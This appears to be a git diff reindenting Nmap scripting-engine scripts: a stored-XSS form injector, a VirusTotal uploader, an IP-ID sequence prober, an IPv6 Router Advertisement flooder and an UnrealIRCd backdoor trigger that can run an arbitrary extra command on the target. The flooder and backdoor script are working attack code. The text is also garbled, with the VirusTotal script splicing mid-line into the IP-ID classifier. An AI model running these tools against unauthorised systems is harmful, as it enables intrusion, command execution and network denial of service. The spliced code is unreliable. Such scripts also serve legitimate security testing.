- table.insert(output, report)
- end
+ local output = {}
+ for _, p in ipairs(payloads) do
+ if checkPayload(body, p.vector) then
+ local report = " Payload: " .. p.vector .. "\n\t Uploaded on: " .. target
+ if p.description then
+ report = report .. "\n\t Description: " .. p.description
+ end
+ table.insert(output, report)
end
- return output
+ end
+ return output
end
local readFromFile = function(filename)
- local database = { }
- for l in io.lines(filename) do
- table.insert(payloads, { vector = l })
- end
+ local database = { }
+ for l in io.lines(filename) do
+ table.insert(payloads, { vector = l })
+ end
end
action = function(host, port)
- local formpaths = stdnse.get_script_args("http-stored-xss.formpaths")
- local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths")
- local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {}
- local dbfile = stdnse.get_script_args("http-stored-xss.dbfile")
+ local formpaths = stdnse.get_script_args("http-stored-xss.formpaths")
+ local uploadspaths = stdnse.get_script_args("http-stored-xss.uploadspaths")
+ local fieldvalues = stdnse.get_script_args("http-stored-xss.fieldvalues") or {}
+ local dbfile = stdnse.get_script_args("http-stored-xss.dbfile")
- if dbfile then
- readFromFile(dbfile)
- end
+ if dbfile then
+ readFromFile(dbfile)
+ end
- local returntable = {}
- local result
+ local returntable = {}
+ local result
- local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, no_cache = true } )
+ local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, no_cache = true } )
- if (not(crawler)) then
- return
- end
+ if (not(crawler)) then
+ return
+ end
- crawler:set_timeout(10000)
+ crawler:set_timeout(10000)
- local index, k, target, response
+ local index, k, target, response
- -- Phase 1. Crawls through the website and POSTs malicious payloads.
- while (true) do
+ -- Phase 1. Crawls through the website and POSTs malicious payloads.
+ while (true) do
- if formpaths then
+ if formpaths then
- k, target = next(formpaths, index)
- if (k == nil) then
- break
- end
- response = http.get(host, port, target, { no_cache = true })
- target = host.name .. target
- else
-
- local status, r = crawler:crawl()
- -- if the crawler fails it can be due to a number of different reasons
- -- most of them are "legitimate" and should not be reason to abort
- if ( not(status) ) then
- if ( r.err ) then
- return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
- else
- break
- end
- end
-
- target = tostring(r.url)
- response = r.response
-
- end
-
- if response.body then
-
- local forms = http.grab_forms(response.body)
-
- for i, form in ipairs(forms) do
-
- form = http.parse_form(form)
-
- if form then
-
- local action_absolute = string.find(form["action"], "https*://")
-
- -- Determine the path where the form needs to be submitted.
- local submission
- if action_absolute then
- submission = form["action"]
- else
- local path_cropped = string.match(target, "(.*/).*")
- path_cropped = path_cropped and path_cropped or ""
- submission = path_cropped..form["action"]
- end
-
- makeRequests(host, port, submission, form["fields"], fieldvalues)
-
- end
- end
- end
- if (index) then
- index = index + 1
- else
- index = 1
- end
-
- end
-
- local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
- local index
-
- -- Phase 2. Crawls through the website and searches for the special crafted strings that were POSTed before.
- while true do
- if uploadspaths then
- k, target = next(uploadspaths, index)
- if (k == nil) then
- break
- end
- response = http.get(host, port, target)
- else
-
- local status, r = crawler:crawl()
- -- if the crawler fails it can be due to a number of different reasons
- -- most of them are "legitimate" and should not be reason to abort
- if ( not(status) ) then
- if ( r.err ) then
- return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
- else
- break
- end
- end
-
- target = tostring(r.url)
- response = r.response
-
- end
-
- if response.body then
-
- result = checkRequests(response.body, target)
-
- if next(result) then
- table.insert(returntable, result)
- end
- end
- if (index) then
- index = index + 1
- else
- index = 1
- end
- end
-
- if next(returntable) then
- table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ")
- return returntable
+ k, target = next(formpaths, index)
+ if (k == nil) then
+ break
+ end
+ response = http.get(host, port, target, { no_cache = true })
+ target = host.name .. target
else
- return "Couldn't find any stored XSS vulnerabilities."
+
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
+ else
+ break
+ end
+ end
+
+ target = tostring(r.url)
+ response = r.response
+
end
+
+ if response.body then
+
+ local forms = http.grab_forms(response.body)
+
+ for i, form in ipairs(forms) do
+
+ form = http.parse_form(form)
+
+ if form then
+
+ local action_absolute = string.find(form["action"], "https*://")
+
+ -- Determine the path where the form needs to be submitted.
+ local submission
+ if action_absolute then
+ submission = form["action"]
+ else
+ local path_cropped = string.match(target, "(.*/).*")
+ path_cropped = path_cropped and path_cropped or ""
+ submission = path_cropped..form["action"]
+ end
+
+ makeRequests(host, port, submission, form["fields"], fieldvalues)
+
+ end
+ end
+ end
+ if (index) then
+ index = index + 1
+ else
+ index = 1
+ end
+
+ end
+
+ local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
+ local index
+
+ -- Phase 2. Crawls through the website and searches for the special crafted strings that were POSTed before.
+ while true do
+ if uploadspaths then
+ k, target = next(uploadspaths, index)
+ if (k == nil) then
+ break
+ end
+ response = http.get(host, port, target)
+ else
+
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
+ else
+ break
+ end
+ end
+
+ target = tostring(r.url)
+ response = r.response
+
+ end
+
+ if response.body then
+
+ result = checkRequests(response.body, target)
+
+ if next(result) then
+ table.insert(returntable, result)
+ end
+ end
+ if (index) then
+ index = index + 1
+ else
+ index = 1
+ end
+ end
+
+ if next(returntable) then
+ table.insert(returntable, 1, "Found the following stored XSS vulnerabilities: ")
+ return returntable
+ else
+ return "Couldn't find any stored XSS vulnerabilities."
+ end
end
diff --git a/scripts/http-virustotal.nse b/scripts/http-virustotal.nse
index c386d5bd2..cb22912df 100644
--- a/scripts/http-virustotal.nse
+++ b/scripts/http-virustotal.nse
@@ -102,154 +102,154 @@ local arg_checksum = stdnse.get_script_args(SCRIPT_NAME .. ".checksum")
prerule = function() return true end
local function readFile(filename)
- local f = io.open(filename, "r")
- if ( not(f) ) then
- return false, ("Failed to open file: %s"):format(filename)
- end
+ local f = io.open(filename, "r")
+ if ( not(f) ) then
+ return false, ("Failed to open file: %s"):format(filename)
+ end
- local str = f:read("*all")
- if ( not(str) ) then
- f:close()
- return false, "Failed to read file contents"
- end
- f:close()
- return true, str
+ local str = f:read("*all")
+ if ( not(str) ) then
+ f:close()
+ return false, "Failed to read file contents"
+ end
+ f:close()
+ return true, str
end
local function requestFileScan(filename)
- local status, str = readFile(filename)
- if ( not(status) ) then
- return false, str
- end
+ local status, str = readFile(filename)
+ if ( not(status) ) then
+ return false, str
+ end
- local shortfile = filename:match("^.*[\\/](.*)$")
- local boundary = "----------------------------nmapboundary"
- local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) }
- local postdata = ("--%s\r\n"):format(boundary)
- postdata = postdata .. "Content-Disposition: form-data; name=\"apikey\"\r\n\r\n"
- postdata = postdata .. arg_apiKey .. "\r\n"
- postdata = postdata .. ("--%s\r\n" ..
- "Content-Disposition: form-data; name=\"file\"; filename=\"%s\"\r\n" ..
- "Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, shortfile, str, boundary)
+ local shortfile = filename:match("^.*[\\/](.*)$")
+ local boundary = "----------------------------nmapboundary"
+ local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) }
+ local postdata = ("--%s\r\n"):format(boundary)
+ postdata = postdata .. "Content-Disposition: form-data; name=\"apikey\"\r\n\r\n"
+ postdata = postdata .. arg_apiKey .. "\r\n"
+ postdata = postdata .. ("--%s\r\n" ..
+ "Content-Disposition: form-data; name=\"file\"; filename=\"%s\"\r\n" ..
+ "Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, shortfile, str, boundary)
- local host = "www.virustotal.com"
- local port = { number = 80, protocol = "tcp" }
- local path = "/vtapi/v2/file/scan"
+ local host = "www.virustotal.com"
+ local port = { number = 80, protocol = "tcp" }
+ local path = "/vtapi/v2/file/scan"
- local response = http.post( host, port, path, { header = header }, nil, postdata )
- if ( not(response) or response.status ~= 200 ) then
- return false, "Failed to request file scan"
- end
+ local response = http.post( host, port, path, { header = header }, nil, postdata )
+ if ( not(response) or response.status ~= 200 ) then
+ return false, "Failed to request file scan"
+ end
- local status, json_data = json.parse(response.body)
- if ( not(status) ) then
- return false, "Failed to parse JSON response"
- end
+ local status, json_data = json.parse(response.body)
+ if ( not(status) ) then
+ return false, "Failed to parse JSON response"
+ end
- return true, json_data
+ return true, json_data
end
local function getFileScanReport(resource)
- local host = "www.virustotal.com"
- local port = { number = 80, protocol = "tcp" }
- local path = "/vtapi/v2/file/report"
+ local host = "www.virustotal.com"
+ local port = { number = 80, protocol = "tcp" }
+ local path = "/vtapi/v2/file/report"
- local response = http.post(host, port, path, nil, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource })
- if ( not(response) or response.status ~= 200 ) then
- return false, "Failed to retrieve scan report"
- end
+ local response = http.post(host, port, path, nil, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource })
+ if ( not(response) or response.status ~= 200 ) then
+ return false, "Failed to retrieve scan report"
+ end
- local status, json_data = json.parse(response.body)
- if ( not(status) ) then
- return false, "Failed to parse JSON response"
- end
+ local status, json_data = json.parse(response.body)
+ if ( not(status) ) then
+ return false, "Failed to parse JSON response"
+ end
- return true, json_data
+ return true, json_data
end
local function calcSHA256(filename)
- local status, str = readFile(filename)
- if ( not(status) ) then
- return false, str
- end
- return true, stdnse.tohex(openssl.digest("sha256", str))
+ local status, str = readFile(filename)
+ if ( not(status) ) then
+ return false, str
+ end
+ return true, stdnse.tohex(openssl.digest("sha256", str))
end
local function parseScanReport(report)
- local result = {}
+ local result = {}
- table.insert(result, ("Permalink: %s"):format(report.permalink))
- table.insert(result, ("Scan date: %s"):format(report.scan_date))
- table.insert(result, ("Positives: %s"):format(report.positives))
- table.insert(result, {
- name = "digests",
- ("SHA1: %s"):format(report.sha1),
- ("SHA256: %s"):format(report.sha256),
- ("MD5: %s"):format(report.md5)
- })
+ table.insert(result, ("Permalink: %s"):format(report.permalink))
+ table.insert(result, ("Scan date: %s"):format(report.scan_date))
+ table.insert(result, ("Positives: %s"):format(report.positives))
+ table.insert(result, {
+ name = "digests",
+ ("SHA1: %s"):format(report.sha1),
+ ("SHA256: %s"):format(report.sha256),
+ ("MD5: %s"):format(report.md5)
+ })
- local tmp = {}
- for name, scanres in pairs(report.scans) do
- local res = ( scanres.detected ) and scanres.result or "-"
- table.insert(tmp, { name = name, result = res, update = scanres.update, version = scanres.version })
- end
- table.sort(tmp, function(a,b) return a.name:upper() 2 and diffs[i-1] > 20000 then
- return "Randomized"
- end
+ if #ipids > 2 and diffs[i-1] > 20000 then
+ return "Randomized"
+ end
- i = i + 1
- end
+ i = i + 1
+ end
- if allzeros then
- return "All zeros"
- end
+ if allzeros then
+ return "All zeros"
+ end
- i = 1
+ i = 1
- while i <= #diffs do
- if diffs[i] ~= 0 then
- allsame = false
- end
+ while i <= #diffs do
+ if diffs[i] ~= 0 then
+ allsame = false
+ end
- if (diffs[i] > 1000) and ((diffs[i] % 256) ~= 0 or
- ((diffs[i] % 256) == 0 and diffs[i] > 25600)) then
- return "Random Positive Increments"
- end
+ if (diffs[i] > 1000) and ((diffs[i] % 256) ~= 0 or
+ ((diffs[i] % 256) == 0 and diffs[i] > 25600)) then
+ return "Random Positive Increments"
+ end
- if diffs[i] > 5120 or (diffs[i] % 256) ~= 0 then
- mul256 = false
- end
+ if diffs[i] > 5120 or (diffs[i] % 256) ~= 0 then
+ mul256 = false
+ end
- if diffs[i] >= 10 then
- inc = false
- end
+ if diffs[i] >= 10 then
+ inc = false
+ end
- i = i + 1
- end
+ i = i + 1
+ end
- if allsame then
- return "Constant"
- end
+ if allsame then
+ return "Constant"
+ end
- if mul256 then
- return "Broken incremental!"
- end
+ if mul256 then
+ return "Broken incremental!"
+ end
- if inc then
- return "Incremental!"
- end
+ if inc then
+ return "Incremental!"
+ end
- return "Unknown"
+ return "Unknown"
end
--- Determines what port to probe
-- @param host Host object
local getport = function(host)
- for _, k in ipairs({"ipidseq.probeport", "probeport"}) do
- if nmap.registry.args[k] then
- return tonumber(nmap.registry.args[k])
- end
- end
+ for _, k in ipairs({"ipidseq.probeport", "probeport"}) do
+ if nmap.registry.args[k] then
+ return tonumber(nmap.registry.args[k])
+ end
+ end
- --local states = { "open", "closed", "unfiltered", "open|filtered", "closed|filtered" }
- local states = { "open", "closed" }
- local port = nil
+ --local states = { "open", "closed", "unfiltered", "open|filtered", "closed|filtered" }
+ local states = { "open", "closed" }
+ local port = nil
- for _, s in ipairs(states) do
- port = nmap.get_ports(host, nil, "tcp", s)
- if port then
- break
- end
- end
+ for _, s in ipairs(states) do
+ port = nmap.get_ports(host, nil, "tcp", s)
+ if port then
+ break
+ end
+ end
- if not port then
- return nil
- end
+ if not port then
+ return nil
+ end
- return port.number
+ return port.number
end
hostrule = function(host)
- if not nmap.is_privileged() then
- nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
- if not nmap.registry[SCRIPT_NAME].rootfail then
- stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
- end
- nmap.registry[SCRIPT_NAME].rootfail = true
- return nil
- end
+ if not nmap.is_privileged() then
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+ if not nmap.registry[SCRIPT_NAME].rootfail then
+ stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
+ end
+ nmap.registry[SCRIPT_NAME].rootfail = true
+ return nil
+ end
- if nmap.address_family() ~= 'inet' then
- stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
- return false
- end
- if not host.interface then
- return false
- end
- ipidseqport = getport(host)
- return (ipidseqport ~= nil)
+ if nmap.address_family() ~= 'inet' then
+ stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
+ return false
+ end
+ if not host.interface then
+ return false
+ end
+ ipidseqport = getport(host)
+ return (ipidseqport ~= nil)
end
action = function(host)
- local i = 1
- local ipids = {}
- local sock = nmap.new_dnet()
- local pcap = nmap.new_socket()
- local saddr = packet.toip(host.bin_ip_src)
- local daddr = packet.toip(host.bin_ip)
- local try = nmap.new_try()
+ local i = 1
+ local ipids = {}
+ local sock = nmap.new_dnet()
+ local pcap = nmap.new_socket()
+ local saddr = packet.toip(host.bin_ip_src)
+ local daddr = packet.toip(host.bin_ip)
+ local try = nmap.new_try()
- try(sock:ip_open())
+ try(sock:ip_open())
- try = nmap.new_try(function() sock:ip_close() end)
+ try = nmap.new_try(function() sock:ip_close() end)
- pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr .. " and src port " .. ipidseqport)
+ pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr .. " and src port " .. ipidseqport)
- pcap:set_timeout(host.times.timeout * 1000)
+ pcap:set_timeout(host.times.timeout * 1000)
- local tcp = genericpkt(host, ipidseqport)
+ local tcp = genericpkt(host, ipidseqport)
- while i <= NUMPROBES do
- try(sock:ip_send(tcp.buf, host))
+ while i <= NUMPROBES do
+ try(sock:ip_send(tcp.buf, host))
- local status, len, _, layer3 = pcap:pcap_receive()
- local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
- while status and test ~= check(layer3) do
- status, len, _, layer3 = pcap:pcap_receive()
- end
+ local status, len, _, layer3 = pcap:pcap_receive()
+ local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
+ while status and test ~= check(layer3) do
+ status, len, _, layer3 = pcap:pcap_receive()
+ end
- if status then
- table.insert(ipids, packet.u16(layer3, 4))
- end
+ if status then
+ table.insert(ipids, packet.u16(layer3, 4))
+ end
- updatepkt(tcp)
+ updatepkt(tcp)
- i = i + 1
- end
+ i = i + 1
+ end
- pcap:close()
- sock:ip_close()
+ pcap:close()
+ sock:ip_close()
- local output = ipidseqclass(ipids)
+ local output = ipidseqclass(ipids)
- if nmap.debugging() > 0 then
- output = output .. " [used port " .. ipidseqport .. "]"
- end
+ if nmap.debugging() > 0 then
+ output = output .. " [used port " .. ipidseqport .. "]"
+ end
- return output
+ return output
end
diff --git a/scripts/ipv6-ra-flood.nse b/scripts/ipv6-ra-flood.nse
index c3656026d..e9b5ca0b5 100644
--- a/scripts/ipv6-ra-flood.nse
+++ b/scripts/ipv6-ra-flood.nse
@@ -43,50 +43,50 @@ try = nmap.new_try()
math.randomseed(os.time())
prerule = function()
- if nmap.address_family() ~= "inet6" then
- stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
- return false
- end
+ if nmap.address_family() ~= "inet6" then
+ stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
+ return false
+ end
- if not nmap.is_privileged() then
- stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)
- return false
- end
+ if not nmap.is_privileged() then
+ stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)
+ return false
+ end
- if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
- stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)
- return false
- end
+ if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
+ stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)
+ return false
+ end
- return true
+ return true
end
local function get_interface()
- local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
+ local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
- local if_table = nmap.get_interface_info(arg_interface)
+ local if_table = nmap.get_interface_info(arg_interface)
- if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
- return if_table.device
- else
- stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
- end
+ if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
+ return if_table.device
+ else
+ stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
+ end
end
--- Generates random MAC address
-- @return mac string containing random MAC address
local function random_mac()
- local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
- return mac
+ local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
+ return mac
end
--- Generates random IPv6 prefix
-- @return prefix string containing random IPv6 /64 prefix
local function get_random_prefix()
- local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
+ local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
- return prefix
+ return prefix
end
--- Build an ICMPv6 payload of Router Advertisement.
@@ -99,94 +99,94 @@ end
-- @return icmpv6_payload string representing ICMPv6 RA payload
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
- local ra_msg = string.char(0x0, --cur hop limit
- 0x08, --flags
- 0x00,0x00, --router lifetime
- 0x00,0x00,0x00,0x00, --reachable time
- 0x00,0x00,0x00,0x00) --retrans timer
+ local ra_msg = string.char(0x0, --cur hop limit
+ 0x08, --flags
+ 0x00,0x00, --router lifetime
+ 0x00,0x00,0x00,0x00, --reachable time
+ 0x00,0x00,0x00,0x00) --retrans timer
- local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved
- packet.numtostr32(mtu) -- MTU
+ local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved
+ packet.numtostr32(mtu) -- MTU
- local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
- packet.set_u32("....", 0, valid_time) .. -- valid lifetime
- packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
- string.char(0,0,0,0) .. --unknown
- prefix
+ local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
+ packet.set_u32("....", 0, valid_time) .. -- valid lifetime
+ packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
+ string.char(0,0,0,0) .. --unknown
+ prefix
- local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
- local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
- local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
+ local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
+ local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
+ local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
- local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
+ local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
- return icmpv6_payload
+ return icmpv6_payload
end
--- Broadcasting on the selected interface
-- @param iface table containing interface information
local function broadcast_on_interface(iface)
- stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
+ stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
- -- packet counter
- local counter = 0
+ -- packet counter
+ local counter = 0
- local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
- arg_timeout = arg_timeout or 30
+ local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
+ arg_timeout = arg_timeout or 30
- local dnet = nmap.new_dnet()
+ local dnet = nmap.new_dnet()
- try(dnet:ethernet_open(iface))
+ try(dnet:ethernet_open(iface))
- local dst_mac = packet.mactobin("33:33:00:00:00:01")
- local dst_ip6_addr = packet.ip6tobin("ff02::1")
+ local dst_mac = packet.mactobin("33:33:00:00:00:01")
+ local dst_ip6_addr = packet.ip6tobin("ff02::1")
- local prefix_len = 64
+ local prefix_len = 64
- --- maximum possible value of 4-byte integer
- local valid_time = tonumber(0xffffffff)
- local preffered_time = tonumber(0xffffffff)
+ --- maximum possible value of 4-byte integer
+ local valid_time = tonumber(0xffffffff)
+ local preffered_time = tonumber(0xffffffff)
- local mtu = 1500
+ local mtu = 1500
- local start, stop = os.time()
+ local start, stop = os.time()
- while true do
+ while true do
- local src_mac = packet.mactobin(random_mac())
- local src_ip6_addr = packet.mac_to_lladdr(src_mac)
+ local src_mac = packet.mactobin(random_mac())
+ local src_ip6_addr = packet.mac_to_lladdr(src_mac)
- local prefix = packet.ip6tobin(get_random_prefix())
+ local prefix = packet.ip6tobin(get_random_prefix())
- local packet = packet.Frame:new()
+ local packet = packet.Frame:new()
- packet.mac_src = src_mac
- packet.mac_dst = dst_mac
- packet.ip_bin_src = src_ip6_addr
- packet.ip_bin_dst = dst_ip6_addr
+ packet.mac_src = src_mac
+ packet.mac_dst = dst_mac
+ packet.ip_bin_src = src_ip6_addr
+ packet.ip_bin_dst = dst_ip6_addr
- local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
- packet:build_icmpv6_header(134, 0, icmpv6_payload)
- packet:build_ipv6_packet()
- packet:build_ether_frame()
+ local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
+ packet:build_icmpv6_header(134, 0, icmpv6_payload)
+ packet:build_ipv6_packet()
+ packet:build_ether_frame()
- try(dnet:ethernet_send(packet.frame_buf))
+ try(dnet:ethernet_send(packet.frame_buf))
- counter = counter + 1
+ counter = counter + 1
- if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
- stop = os.time()
- break
- end
- end
+ if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
+ stop = os.time()
+ break
+ end
+ end
- if counter > 0 then
- stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
- end
+ if counter > 0 then
+ stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
+ end
end
function action()
- local interface = get_interface()
+ local interface = get_interface()
- broadcast_on_interface(interface)
+ broadcast_on_interface(interface)
end
diff --git a/scripts/irc-unrealircd-backdoor.nse b/scripts/irc-unrealircd-backdoor.nse
index e7de0e2a4..58e990711 100644
--- a/scripts/irc-unrealircd-backdoor.nse
+++ b/scripts/irc-unrealircd-backdoor.nse
@@ -58,159 +58,159 @@ portrule = shortport.port_or_service({6666,6667,6697,6679,8067},{"irc","ircs"})
action = function(host, port)
- local socket = nmap.new_socket()
- local code, message
- local status, err
- local data
- -- Wait up to this long for the server to send its startup messages and
- -- a response to our noop_command. After this, send the full_command.
- -- Usually we don't have to wait the full time because we can detect
- -- the response to noop_command.
- local banner_timeout = 60
- -- Send a command to sleep this long. This just has to be long enough
- -- to remove confusion from network delay.
- local delay = 8
+ local socket = nmap.new_socket()
+ local code, message
+ local status, err
+ local data
+ -- Wait up to this long for the server to send its startup messages and
+ -- a response to our noop_command. After this, send the full_command.
+ -- Usually we don't have to wait the full time because we can detect
+ -- the response to noop_command.
+ local banner_timeout = 60
+ -- Send a command to sleep this long. This just has to be long enough
+ -- to remove confusion from network delay.
+ local delay = 8
- -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
- -- I defined the furdge as 1 second, for now, just because of rounding issues. In practice,
- -- the actual delay should never be shorter than the given delay, only longer.
- local delay_fudge = 1
+ -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
+ -- I defined the furdge as 1 second, for now, just because of rounding issues. In practice,
+ -- the actual delay should never be shorter than the given delay, only longer.
+ local delay_fudge = 1
- -- We send this command on connection because comm.tryssl needs to send
- -- something; it also allows us to detect the end of server
- -- initialization.
- local noop_command = "TIME"
+ -- We send this command on connection because comm.tryssl needs to send
+ -- something; it also allows us to detect the end of server
+ -- initialization.
+ local noop_command = "TIME"
- -- The 'AB' sequence triggers the backdoor to run a command.
- local trigger = "AB"
+ -- The 'AB' sequence triggers the backdoor to run a command.
+ local trigger = "AB"
- -- We define a highly unique variable as a type of 'ping' -- it lets us see when our
- -- command returns. Typically, asynchronous data will be received after the initial
- -- connection -- this lets us ignore that extra data.
- local unique = "SOMETHINGUNIQUE"
+ -- We define a highly unique variable as a type of 'ping' -- it lets us see when our
+ -- command returns. Typically, asynchronous data will be received after the initial
+ -- connection -- this lets us ignore that extra data.
+ local unique = "SOMETHINGUNIQUE"
- -- On Linux, do a simple sleep command.
- local command_linux = "sleep " .. delay
+ -- On Linux, do a simple sleep command.
+ local command_linux = "sleep " .. delay
- -- Set up an extra command, if the user requested one
- local command_extra = ""
- if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
- command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
- -- Replace "%IP%" with the ip address
- command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
- end
+ -- Set up an extra command, if the user requested one
+ local command_extra = ""
+ if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
+ command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
+ -- Replace "%IP%" with the ip address
+ command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
+ end
- -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
- -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
- -- to add 1 to the delay because the first ping happens instantly.
- --
- -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
- -- not vulnerable. However, it's possible that some odd person may have compiled it
- -- from the vulnerable sourcecode, so we check for it anyways.
- local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
+ -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
+ -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
+ -- to add 1 to the delay because the first ping happens instantly.
+ --
+ -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
+ -- not vulnerable. However, it's possible that some odd person may have compiled it
+ -- from the vulnerable sourcecode, so we check for it anyways.
+ local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
- -- Put together the full command
- local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
+ -- Put together the full command
+ local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
- -- wait time: get rid of fast reconnecting annoyance
- if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
- local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
- stdnse.print_debug(1, "irc-unrealircd-backdoor: waiting for %i seconds", waittime)
- stdnse.sleep(waittime)
- end
+ -- wait time: get rid of fast reconnecting annoyance
+ if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
+ local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: waiting for %i seconds", waittime)
+ stdnse.sleep(waittime)
+ end
- -- Send an innocuous command as fodder for tryssl.
